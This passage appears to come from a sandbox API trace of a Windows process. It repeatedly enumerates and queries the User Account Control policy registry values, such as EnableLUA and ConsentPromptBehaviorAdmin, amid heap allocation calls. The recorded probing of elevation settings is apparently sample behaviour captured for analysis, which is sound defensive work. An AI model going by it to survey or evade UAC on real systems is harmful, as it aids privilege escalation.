Size=0x8) returned 0x30b950 [0035.321] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c360 [0035.321] RegEnumValueA (in: hKey=0x24, dwIndex=0xa, lpValueName=0x26f6a8, lpcchValueName=0x26f6a4, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticecaption", lpcchValueName=0x26f6a4, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0035.321] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x8) returned 0x30b9d0 [0035.321] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c3a8 [0035.321] RegEnumValueA (in: hKey=0x24, dwIndex=0xb, lpValueName=0x26f6a8, lpcchValueName=0x26f6a4, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticetext", lpcchValueName=0x26f6a4, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0035.321] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x8) returned 0x30b9e0 [0035.321] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c3f0 [0035.321] RegEnumValueA (in: hKey=0x24, dwIndex=0xc, lpValueName=0x26f6a8, lpcchValueName=0x26f6a4, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="scforceoption", lpcchValueName=0x26f6a4, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0035.321] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c438 [0035.321] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30b998) returned 1 [0035.321] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x8) returned 0x30b998 [0035.321] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c480 [0035.321] RegEnumValueA (in: hKey=0x24, dwIndex=0xd, lpValueName=0x26f6a8, lpcchValueName=0x26f6a4, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="shutdownwithoutlogon", lpcchValueName=0x26f6a4, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0035.321] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x8) returned 0x30b9a8 [0035.321] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c4c8 [0035.321] RegEnumValueA (in: hKey=0x24, dwIndex=0xe, lpValueName=0x26f6a8, lpcchValueName=0x26f6a4, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="undockwithoutlogon", lpcchValueName=0x26f6a4, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0035.321] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x8) returned 0x30b9b8 [0035.321] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c510 [0035.321] RegEnumValueA (in: hKey=0x24, dwIndex=0xf, lpValueName=0x26f6a8, lpcchValueName=0x26f6a4, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x26f6a4, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0035.321] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x8) returned 0x30b9f0 [0035.321] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c558 [0035.321] RegEnumValueA (in: hKey=0x24, dwIndex=0x10, lpValueName=0x26f6a8, lpcchValueName=0x26f6a4, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x26f6a4, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0035.321] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c5a0 [0035.321] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c5a0) returned 1 [0035.321] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c5a0 [0035.321] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c5a0) returned 1 [0035.321] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c5a0 [0035.321] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c5a0) returned 1 [0035.321] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c5a0 [0035.322] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c5a0) returned 1 [0035.322] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c5a0 [0035.322] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c0d8) returned 1 [0035.322] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30b878) returned 1 [0035.322] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c120) returned 1 [0035.322] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30b888) returned 1 [0035.322] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c168) returned 1 [0035.322] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30b898) returned 1 [0035.322] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c1b0) returned 1 [0035.322] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30b930) returned 1 [0035.322] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c1f8) returned 1 [0035.322] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30b860) returned 1 [0035.322] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c240) returned 1 [0035.322] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30b968) returned 1 [0035.322] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c288) returned 1 [0035.322] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30b978) returned 1 [0035.322] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c2d0) returned 1 [0035.322] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30b988) returned 1 [0035.322] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c318) returned 1 [0035.322] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30b940) returned 1 [0035.322] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c360) returned 1 [0035.322] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30b950) returned 1 [0035.322] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c3a8) returned 1 [0035.322] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30b9d0) returned 1 [0035.322] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c3f0) returned 1 [0035.322] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30b9e0) returned 1 [0035.322] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c480) returned 1 [0035.322] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30b998) returned 1 [0035.322] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c4c8) returned 1 [0035.322] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30b9a8) returned 1 [0035.322] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c510) returned 1 [0035.322] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30b9b8) returned 1 [0035.322] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c558) returned 1 [0035.322] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30b9f0) returned 1 [0035.322] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c438) returned 1 [0035.322] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c438 [0035.322] RegQueryValueExA (in: hKey=0x24, lpValueName="EnableLUA", lpReserved=0x0, lpType=0x26f7b4, lpData=0x0, lpcbData=0x26f7bc*=0x0 | out: lpType=0x26f7b4*=0x4, lpData=0x0, lpcbData=0x26f7bc*=0x4) returned 0x0 [0035.323] RegQueryValueExA (in: hKey=0x24, lpValueName="EnableLUA", lpReserved=0x0, lpType=0x26f7b4, lpData=0x30c438, lpcbData=0x26f7bc*=0x4 | out: lpType=0x26f7b4*=0x4, lpData=0x30c438*=0x1, lpcbData=0x26f7bc*=0x4) returned 0x0 [0035.323] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c438) returned 1 [0035.323] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c5a0) returned 1 [0035.323] RegEnumValueA (in: hKey=0x24, dwIndex=0x0, lpValueName=0x26f6a8, lpcchValueName=0x26f6a4, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorAdmin", lpcchValueName=0x26f6a4, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0035.323] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x10) returned 0x30b860 [0035.323] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x8) returned 0x30b878 [0035.323] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c5a0 [0035.323] RegEnumValueA (in: hKey=0x24, dwIndex=0x1, lpValueName=0x26f6a8, lpcchValueName=0x26f6a4, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorUser", lpcchValueName=0x26f6a4, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0035.323] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x8) returned 0x30b888 [0035.323] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c438 [0035.323] RegEnumValueA (in: hKey=0x24, dwIndex=0x2, lpValueName=0x26f6a8, lpcchValueName=0x26f6a4, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableInstallerDetection", lpcchValueName=0x26f6a4, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0035.323] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x8) returned 0x30b898 [0035.323] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c558 [0035.323] RegEnumValueA (in: hKey=0x24, dwIndex=0x3, lpValueName=0x26f6a8, lpcchValueName=0x26f6a4, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableLUA", lpcchValueName=0x26f6a4, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0035.323] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x8) returned 0x30b930 [0035.323] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c510 [0035.323] RegEnumValueA (in: hKey=0x24, dwIndex=0x4, lpValueName=0x26f6a8, lpcchValueName=0x26f6a4, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableSecureUIAPaths", lpcchValueName=0x26f6a4, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0035.323] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x20) returned 0x30b940 [0035.323] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30b860) returned 1 [0035.323] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x8) returned 0x30b860 [0035.323] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c4c8 [0035.323] RegEnumValueA (in: hKey=0x24, dwIndex=0x5, lpValueName=0x26f6a8, lpcchValueName=0x26f6a4, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableUIADesktopToggle", lpcchValueName=0x26f6a4, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0035.323] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x8) returned 0x30b968 [0035.323] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c480 [0035.323] RegEnumValueA (in: hKey=0x24, dwIndex=0x6, lpValueName=0x26f6a8, lpcchValueName=0x26f6a4, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableVirtualization", lpcchValueName=0x26f6a4, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0035.323] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x8) returned 0x30b978 [0035.323] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c3f0 [0035.323] RegEnumValueA (in: hKey=0x24, dwIndex=0x7, lpValueName=0x26f6a8, lpcchValueName=0x26f6a4, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="PromptOnSecureDesktop", lpcchValueName=0x26f6a4, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0035.323] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x8) returned 0x30b988 [0035.324] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c3a8 [0035.324] RegEnumValueA (in: hKey=0x24, dwIndex=0x8, lpValueName=0x26f6a8, lpcchValueName=0x26f6a4, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ValidateAdminCodeSignatures", lpcchValueName=0x26f6a4, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0035.324] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x30) returned 0x30b998 [0035.324] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30b940) returned 1 [0035.324] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x8) returned 0x30b940 [0035.324] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c360 [0035.324] RegEnumValueA (in: hKey=0x24, dwIndex=0x9, lpValueName=0x26f6a8, lpcchValueName=0x26f6a4, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="dontdisplaylastusername", lpcchValueName=0x26f6a4, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0035.324] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x8) returned 0x30b950 [0035.324] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c318 [0035.324] RegEnumValueA (in: hKey=0x24, dwIndex=0xa, lpValueName=0x26f6a8, lpcchValueName=0x26f6a4, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticecaption", lpcchValueName=0x26f6a4, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0035.324] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x8) returned 0x30b9d0 [0035.324] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c2d0 [0035.324] RegEnumValueA (in: hKey=0x24, dwIndex=0xb, lpValueName=0x26f6a8, lpcchValueName=0x26f6a4, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticetext", lpcchValueName=0x26f6a4, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0035.324] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x8) returned 0x30b9e0 [0035.324] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c288 [0035.324] RegEnumValueA (in: hKey=0x24, dwIndex=0xc, lpValueName=0x26f6a8, lpcchValueName=0x26f6a4, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="scforceoption", lpcchValueName=0x26f6a4, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0035.324] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c240 [0035.324] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30b998) returned 1 [0035.324] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x8) returned 0x30b998 [0035.324] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c1f8 [0035.324] RegEnumValueA (in: hKey=0x24, dwIndex=0xd, lpValueName=0x26f6a8, lpcchValueName=0x26f6a4, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="shutdownwithoutlogon", lpcchValueName=0x26f6a4, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0035.324] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x8) returned 0x30b9a8 [0035.324] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c1b0 [0035.324] RegEnumValueA (in: hKey=0x24, dwIndex=0xe, lpValueName=0x26f6a8, lpcchValueName=0x26f6a4, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="undockwithoutlogon", lpcchValueName=0x26f6a4, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0035.324] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x8) returned 0x30d1e8 [0035.324] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c168 [0035.324] RegEnumValueA (in: hKey=0x24, dwIndex=0xf, lpValueName=0x26f6a8, lpcchValueName=0x26f6a4, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x26f6a4, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0035.324] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x8) returned 0x30d1f8 [0035.324] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c120 [0035.324] RegEnumValueA (in: hKey=0x24, dwIndex=0x10, lpValueName=0x26f6a8, lpcchValueName=0x26f6a4, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x26f6a4, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0035.325] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c0d8 [0035.325] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c0d8) returned 1 [0035.325] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c0d8 [0035.325] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c5a0) returned 1 [0035.325] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30b878) returned 1 [0035.325] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c438) returned 1 [0035.325] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30b888) returned 1 [0035.325] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c558) returned 1 [0035.325] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30b898) returned 1 [0035.325] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c510) returned 1 [0035.325] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30b930) returned 1 [0035.325] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c4c8) returned 1 [0035.325] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30b860) returned 1 [0035.325] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c480) returned 1 [0035.325] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30b968) returned 1 [0035.325] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c3f0) returned 1 [0035.325] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30b978) returned 1 [0035.325] RegQueryValueExA (in: hKey=0x24, lpValueName="ConsentPromptBehaviorAdmin", lpReserved=0x0, lpType=0x26f7b4, lpData=0x0, lpcbData=0x26f7bc*=0x0 | out: lpType=0x26f7b4*=0x4, lpData=0x0, lpcbData=0x26f7bc*=0x4) returned 0x0 [0035.325] RegQueryValueExA (in: hKey=0x24, lpValueName="ConsentPromptBehaviorAdmin", lpReserved=0x0, lpType=0x26f7b4, lpData=0x30c240, lpcbData=0x26f7bc*=0x4 | out: lpType=0x26f7b4*=0x4, lpData=0x30c240*=0x5, lpcbData=0x26f7bc*=0x4) returned 0x0 [0035.325] RegEnumValueA (in: hKey=0x24, dwIndex=0x0, lpValueName=0x26f6a8, lpcchValueName=0x26f6a4, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorAdmin", lpcchValueName=0x26f6a4, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0035.325] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x10) returned 0x30d5e8 [0035.325] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x8) returned 0x30d1f8 [0035.325] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c0d8 [0035.325] RegEnumValueA (in: hKey=0x24, dwIndex=0x1, lpValueName=0x26f6a8, lpcchValueName=0x26f6a4, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorUser", lpcchValueName=0x26f6a4, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0035.325] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x8) returned 0x30d1e8 [0035.325] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c240 [0035.325] RegEnumValueA (in: hKey=0x24, dwIndex=0x2, lpValueName=0x26f6a8, lpcchValueName=0x26f6a4, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableInstallerDetection", lpcchValueName=0x26f6a4, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0035.325] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x8) returned 0x30d208 [0035.325] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c120 [0035.325] RegEnumValueA (in: hKey=0x24, dwIndex=0x3, lpValueName=0x26f6a8, lpcchValueName=0x26f6a4, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableLUA", lpcchValueName=0x26f6a4, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0035.325] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x8) returned 0x30d218 [0035.326] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c168 [0035.326] RegEnumValueA (in: hKey=0x24, dwIndex=0x4, lpValueName=0x26f6a8, lpcchValueName=0x26f6a4, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableSecureUIAPaths", lpcchValueName=0x26f6a4, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0035.326] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x20) returned 0x30b860 [0035.326] RegEnumValueA (in: hKey=0x24, dwIndex=0x5, lpValueName=0x26f6a8, lpcchValueName=0x26f6a4, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableUIADesktopToggle", lpcchValueName=0x26f6a4, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0035.326] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x8) returned 0x30d238 [0035.326] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c1f8 [0035.326] RegEnumValueA (in: hKey=0x24, dwIndex=0x6, lpValueName=0x26f6a8, lpcchValueName=0x26f6a4, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableVirtualization", lpcchValueName=0x26f6a4, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0035.326] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x8) returned 0x30d248 [0035.326] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c288 [0035.326] RegEnumValueA (in: hKey=0x24, dwIndex=0x7, lpValueName=0x26f6a8, lpcchValueName=0x26f6a4, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="PromptOnSecureDesktop", lpcchValueName=0x26f6a4, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0035.326] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x8) returned 0x30d258 [0035.326] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c2d0 [0035.326] RegEnumValueA (in: hKey=0x24, dwIndex=0x8, lpValueName=0x26f6a8, lpcchValueName=0x26f6a4, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ValidateAdminCodeSignatures", lpcchValueName=0x26f6a4, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0035.326] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x30) returned 0x30b930 [0035.326] RegEnumValueA (in: hKey=0x24, dwIndex=0x9, lpValueName=0x26f6a8, lpcchValueName=0x26f6a4, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="dontdisplaylastusername", lpcchValueName=0x26f6a4, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0035.326] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x8) returned 0x30d278 [0035.326] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c360 [0035.326] RegEnumValueA (in: hKey=0x24, dwIndex=0xa, lpValueName=0x26f6a8, lpcchValueName=0x26f6a4, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticecaption", lpcchValueName=0x26f6a4, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0035.326] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x8) returned 0x30d288 [0035.326] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c3a8 [0035.326] RegEnumValueA (in: hKey=0x24, dwIndex=0xb, lpValueName=0x26f6a8, lpcchValueName=0x26f6a4, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticetext", lpcchValueName=0x26f6a4, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0035.326] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x8) returned 0x30d298 [0035.326] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c3f0 [0035.326] RegEnumValueA (in: hKey=0x24, dwIndex=0xc, lpValueName=0x26f6a8, lpcchValueName=0x26f6a4, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="scforceoption", lpcchValueName=0x26f6a4, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0035.326] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c480 [0035.326] RegEnumValueA (in: hKey=0x24, dwIndex=0xd, lpValueName=0x26f6a8, lpcchValueName=0x26f6a4, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="shutdownwithoutlogon", lpcchValueName=0x26f6a4, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0035.326] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x8) returned 0x30d2b8 [0035.327] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c510 [0035.327] RegEnumValueA (in: hKey=0x24, dwIndex=0xe, lpValueName=0x26f6a8, lpcchValueName=0x26f6a4, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="undockwithoutlogon", lpcchValueName=0x26f6a4, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0035.327] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x8) returned 